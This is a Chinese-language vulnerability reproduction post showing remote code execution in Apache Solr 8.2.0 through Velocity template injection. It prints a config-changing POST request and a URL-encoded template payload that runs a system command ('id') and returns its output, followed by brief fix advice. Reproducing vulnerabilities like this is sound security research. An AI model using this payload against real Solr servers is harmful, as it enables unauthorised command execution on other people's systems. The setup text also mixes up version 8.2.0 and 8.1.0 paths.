[漏洞復現]Apache Solr Velocity模板遠程代碼執行

Apache Solr Velocity模板遠程代碼執行

0X00 漏洞描述

近日,國外安全研究員s00py公開了一個Apache SolrVelocity模板注入的漏洞.該漏洞可以攻擊最新版本的Solr.目前該漏洞利用詳情已經廣泛流傳於Github以及各大安全羣,且公開的EXP可以執行任意命令並自帶回顯.官方暫未發佈補丁.

0X01 漏洞CVE

暫無

0X02 影響範圍

包括但不限於8.2.0(最新版本)

0X03 漏洞復現

環境準備
下載最新的Solr
直鏈:https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
解壓以後,進入solr-8.1.0/bin目錄
使用./solr -e dih -force開啓示例app

點擊左側的Core Selector查看選項名稱

在這裏插入圖片描述

默認有5個,以mail爲實例演示

  • 修改設置
POST /solr/mail/config HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

在這裏插入圖片描述

  • 命令執行
GET /solr/mail/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

在這裏插入圖片描述

修復建議

  • 對solr目錄進行訪問限制
  • 及時關注官方補丁

參考鏈接

  • https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
    在這裏插入圖片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章